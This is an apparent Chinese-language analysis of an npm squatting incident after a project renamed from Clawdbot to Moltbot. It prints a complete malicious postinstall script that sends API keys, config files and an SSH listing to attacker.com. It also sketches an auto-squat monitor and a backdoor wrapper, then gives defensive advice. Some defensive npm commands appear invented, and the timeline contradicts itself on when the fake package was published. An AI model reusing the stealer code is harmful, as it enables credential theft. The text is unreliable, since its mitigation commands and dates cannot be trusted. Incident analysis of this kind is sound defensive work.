2026年1月22日上午10点,Clawdbot 宣布改名为 Moltbot。
30分钟后,npm 上出现了一个名为 moltbot 的包。
这个包不是官方发布的,而是攻击者抢注的恶意包。
在官方反应过来之前,已有数十名用户安装了这个"李鬼"。
攻击时间线
T+0: 改名宣布
2026-01-22 10:00 UTC
GitHub commit: "Rename project from clawdbot to moltbot"
Twitter/X: @moltbot announces the rename
官方改名操作:
bash
# GitHub Organization 重命名
Old: github.com/clawdbot
New: github.com/moltbot
# Package.json 更新
{
"name": "clawdbot", // 旧名
"name": "moltbot", // 新名(还未发布到 npm)
}
关键失误:先宣布改名,后发布 npm 包。
T+30分钟: 攻击者抢注
2026-01-22 10:30 UTC
npm publish (来自未知账户)
攻击者执行:
bash
# 创建恶意包
mkdir moltbot-fake
cd moltbot-fake
# 最小化合法外观
npm init -y
# package.json:
{
"name": "moltbot",
"version": "1.0.0",
"description": "Personal AI assistant", // 复制官方描述
"main": "index.js",
"scripts": {
"postinstall": "node install.js" // 恶意脚本
}
}
# 发布
npm publish
install.js 恶意代码:
javascript
const https = require('https');
const fs = require('fs');
const os = require('os');
const { execSync } = require('child_process');
// 收集系统信息
const info = {
user: os.userInfo().username,
platform: os.platform(),
hostname: os.hostname(),
cwd: process.cwd(),
env: {
// 过滤敏感环境变量
...(process.env.ANTHROPIC_API_KEY && {anthropic: process.env.ANTHROPIC_API_KEY}),
...(process.env.OPENAI_API_KEY && {openai: process.env.OPENAI_API_KEY}),
...(process.env.GITHUB_TOKEN && {github: process.env.GITHUB_TOKEN})
}
};
// 尝试读取 Clawdbot 配置
const configPaths = [
`${os.homedir()}/.clawdbot/clawdbot.json`,
`${os.homedir()}/.moltbot/config.json`
];
configPaths.forEach(path => {
if (fs.existsSync(path)) {
try {
info.config = JSON.parse(fs.readFileSync(path, 'utf8'));
} catch(e) {}
}
});
// 尝试读取 SSH 密钥
const sshPath = `${os.homedir()}/.ssh`;
if (fs.existsSync(sshPath)) {
info.ssh = fs.readdirSync(sshPath);
}
// 上传到 C&C 服务器
const payload = JSON.stringify(info);
const req = https.request('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': payload.length
}
}, res => {
// 静默失败,不留痕迹
});
req.on('error', () => {}); // 吞掉错误
req.write(payload);
req.end();
这个脚本会在 npm install 时自动执行,用户毫无察觉。
T+1小时: 用户中招
2026-01-22 11:00 UTC
First victim installs malicious package
受害者操作:
bash
# 用户看到改名公告,更新安装命令
npm uninstall -g clawdbot
npm install -g moltbot # ← 安装了恶意包
# 看起来一切正常
moltbot --version
# 输出: 1.0.0
但实际上:
- API keys 已泄露
- 配置文件已上传
- SSH key 列表已记录
攻击者可以:
- 使用泄露的 API key 消耗受害者配额
- 冒充受害者发送消息
- 通过 SSH key 访问其他服务器
T+2小时: 官方发现
2026-01-22 12:00 UTC
GitHub Issue #2760 opened: "npm package not official"
Issue 内容:
markdown
## 严重警告
npm 上的 `moltbot` 包**不是**官方发布的!
证据:
1. 发布时间早于官方宣布
2. npm 账户名不匹配
3. 包内容与 GitHub 源码不符
请立即卸载!
官方应急响应:
bash
# 1. 联系 npm support
# support@npmjs.com
# 主题:Malicious package squatting: moltbot
# 2. 发布临时公告
# Twitter/X, Discord, GitHub README
# 3. 注册官方 scope
npm login # 官方账户
npm init --scope=@moltbot
npm publish --access public
T+12小时: npm 下架恶意包
2026-01-22 22:00 UTC
Malicious package removed from npm registry
但此时已有 50+ 次下载记录。
攻击技术解析
Typosquatting 变体
除了直接抢注,攻击者还会注册相似名称:
官方包: moltbot
恶意变体:
- molt-bot
- moltbots
- moltbot-cli
- moltbot-js
- @moltbot/core (假冒 scope)
- mo1tbot (l 替换为 1)
- moitbot (l 替换为 i)
用户容易打错字母,安装到恶意包。
预占式抢注
攻击者提前注册"可能的"包名:
bash
# 监控热门项目的 GitHub
# 一旦发现改名 commit,立即抢注
# 自动化脚本
import requests
from datetime import datetime
def monitor_repo(repo):
url = f"https://api.github.com/repos/{repo}/commits"
commits = requests.get(url).json()
for commit in commits:
msg = commit['commit']['message'].lower()
if 'rename' in msg or 'rebrand' in msg:
# 触发抢注脚本
extract_new_name(msg)
npm_squat(new_name)
Package.json 劫持
恶意包通过 dependencies 拉取真实包,再注入恶意代码:
json
{
"name": "moltbot",
"version": "1.0.0",
"dependencies": {
"@moltbot/cli": "^2026.1.16" // 真实的官方包
},
"scripts": {
"preinstall": "node hijack.js",
"postinstall": "node cleanup.js"
},
"bin": {
"moltbot": "./wrapper.js" // 包装脚本
}
}
wrapper.js:
javascript
#!/usr/bin/env node
// 先执行恶意操作
require('./backdoor.js');
// 再调用真实的 moltbot
const realCli = require('@moltbot/cli');
realCli.run(process.argv.slice(2));
用户以为在用官方工具,实际上每次运行都会触发后门。
安装脚本的隐蔽执行
npm 的生命周期钩子会自动执行:
npm install 触发的脚本(按顺序):
1. preinstall
2. install
3. postinstall
4. prepublish (被 deprecated)
5. preprepare
6. prepare
7. postprepare
攻击者可以在任何一个阶段注入代码。
更隐蔽的方式:
json
{
"scripts": {
"install": "./node_modules/.bin/legit-tool && node hidden.js"
}
}
legit-tool 是合法工具,hidden.js 是恶意脚本。
GitHub Issues 技术分析
Issue #2760: 官方安装脚本指向恶意包
markdown
## 问题
官方文档的"Quick Start"指向:
npm install -g moltbot
但这个包是**恶意抢注**的!
## 证据
1. npm 包发布时间: 2026-01-22 10:30
官方改名时间: 2026-01-22 10:00
→ 官方来不及发布
2. npm 账户: random-user-123
官方账户: moltbot-team
→ 账户不匹配
3. 包内容:
官方 GitHub: 30k+ lines
npm 包: 50 lines
→ 内容不符
根本原因:
官方在改名时,没有同步发布 npm 包,留下了时间窗口。
Issue #2775: 无法收回包名
markdown
## 现状
恶意包已下架,但包名`moltbot`仍被占用。
npm support 表示需要72小时审核期。
## 临时方案
使用 scope:
npm install -g @moltbot/cli
## 长期方案
等待 npm 释放包名,或永久使用 scope。
npm 的命名争议处理流程:
1. 举报恶意包 (0-24h)
↓
2. npm 人工审核 (24-72h)
↓
3. 下架恶意包 (即时)
↓
4. 释放包名 (72h-30天,视情况而定)
↓
5. 官方可注册 (如果通过审核)
在此期间,包名处于"冻结"状态,谁都无法使用。
防御方案
方案1:提前注册 Scope
从项目启动第一天起,就使用 scope:
json
{
"name": "@yourorg/project-name",
"version": "1.0.0"
}
优势:
- Scope 是你独占的命名空间
- 即使项目名改变,scope 不变
- 其他人无法注册
@yourorg/*
实施:
bash
# 注册 npm 组织
npm login
npm org create yourorg
# 发布包
npm publish --access public
方案2:Package-lock.json 校验
在文档中提供精确版本和 integrity hash:
bash
# 不安全的安装方式
npm install -g moltbot
# 安全的安装方式
npm install -g moltbot@2026.1.16 \
--integrity sha512-abc123...xyz789
或提供 package-lock.json:
json
{
"name": "install-moltbot",
"lockfileVersion": 2,
"packages": {
"node_modules/moltbot": {
"version": "2026.1.16",
"resolved": "https://registry.npmjs.org/moltbot/-/moltbot-2026.1.16.tgz",
"integrity": "sha512-...",
"bin": {
"moltbot": "cli.js"
}
}
}
}
用户安装时会校验 hash,如果不匹配会报错。
方案3:代码签名
使用 npm 的代码签名功能(实验性):
bash
# 生成签名密钥
npm keys add --type=signature
# 发布带签名的包
npm publish --sign
# 用户验证签名
npm install moltbot --verify-signatures
如果签名不匹配,安装会失败。
方案4:CI 自动检测
在 CI 中添加包验证:
yaml
# .github/workflows/verify-npm.yml
name: Verify npm package
on:
schedule:
- cron: '0 */6 * * *' # 每6小时检查一次
jobs:
verify:
runs-on: ubuntu-latest
steps:
- name: Check official package
run: |
OFFICIAL_AUTHOR="moltbot-team"
PACKAGE_INFO=$(npm view moltbot --json)
ACTUAL_AUTHOR=$(echo $PACKAGE_INFO | jq -r '.maintainers[0].name')
if [ "$ACTUAL_AUTHOR" != "$OFFICIAL_AUTHOR" ]; then
echo "⚠️ WARNING: Package author mismatch!"
echo "Expected: $OFFICIAL_AUTHOR"
echo "Actual: $ACTUAL_AUTHOR"
exit 1
fi
- name: Notify if failed
if: failure()
uses: actions/github-script@v6
with:
script: |
github.rest.issues.create({
owner: context.repo.owner,
repo: context.repo.repo,
title: '🚨 npm package compromised',
body: 'Automated check detected package ownership change!'
})
方案5:多渠道分发
不依赖单一的 npm:
bash
# npm
npm install -g @moltbot/cli
# GitHub Releases (直接下载二进制)
curl -L https://github.com/moltbot/moltbot/releases/download/v2026.1.16/moltbot-linux-x64 -o moltbot
chmod +x moltbot
# Homebrew (macOS)
brew tap moltbot/tap
brew install moltbot
# apt (Ubuntu/Debian)
curl -fsSL https://moltbot.com/install.sh | sh
如果 npm 被劫持,用户还有其他途径获取官方版本。
用户自查清单
如果你在2026年1月22-23日安装过 moltbot,执行以下检查:
1. 验证包来源
bash
npm list -g moltbot --json | jq -r '._from'
# 如果输出不是官方 registry,立即卸载
2. 检查 postinstall 脚本
bash
cd $(npm root -g)/moltbot
cat package.json | jq -r '.scripts'
# 如果有 postinstall 或 preinstall 脚本,检查其内容
3. 审查网络连接
bash
# 检查最近的网络连接
sudo lsof -i -P | grep node
# 或使用工具监控
tcpdump -i any -n 'host attacker.com'
4. 轮换密钥
如果怀疑已泄露:
bash
# 轮换 API keys
# Anthropic Console → Settings → API Keys → Revoke
# 轮换 GitHub PAT
# GitHub Settings → Developer settings → Personal access tokens → Delete
# 轮换 SSH keys(如果必要)
ssh-keygen -t ed25519 -C "your_email@example.com"
# 更新 GitHub/GitLab 等平台
行业影响
npm 的结构性问题
npm 允许任何人注册任何包名,这是"先到先得"的原则。
问题:
合法项目改名 → 旧名空出 → 攻击者抢注 → 用户误装
其他包管理器的对比:
| 平台 | 命名保护 | 审核机制 |
|---|---|---|
| npm | 无 | 仅事后举报 |
| PyPI | 无 | 仅事后举报 |
| RubyGems | 无 | 仅事后举报 |
| Cargo (Rust) | 有(crates.io 团队可保留) | 人工审核 |
| Go Modules | 有(域名验证) | URL 即命名空间 |
npm 需要改进:
- 项目改名时,旧名保留30天"冷却期"
- 知名项目的相似名称需要审核
- 引入"官方认证"标识
供应链安全的警钟
Clawdbot 改名事件暴露了开源供应链的脆弱性:
单点失败:npm 包名劫持 → 全球用户受影响
类似事件:
- 2021: event-stream (npm 包后门)
- 2022: node-ipc (抗议俄乌冲突,删除俄罗斯用户文件)
- 2024: xz backdoor (压缩库后门)
- 2026: moltbot 抢注
解决方案需要多方合作:
- 包管理器:改进命名保护机制
- 开发者:使用 scope、代码签名
- 用户:安装前验证、使用 lock 文件
最终建议
对于开源项目维护者:
- 改名时,先注册所有平台的新名称,再公开宣布
- 使用 npm scope,不依赖全局包名
- 在文档中提供 integrity hash
- 设置 CI 监控包的所有权变化
对于用户:
- 不要在改名公告发布后立即安装新包,等待24-48小时
- 验证包的发布者账户名
- 检查包的发布时间是否合理
- 使用
package-lock.json锁定版本
这次事件的教训是:在开源生态中,信任是脆弱的,供应链安全需要技术手段保障,而非仅靠道德约束。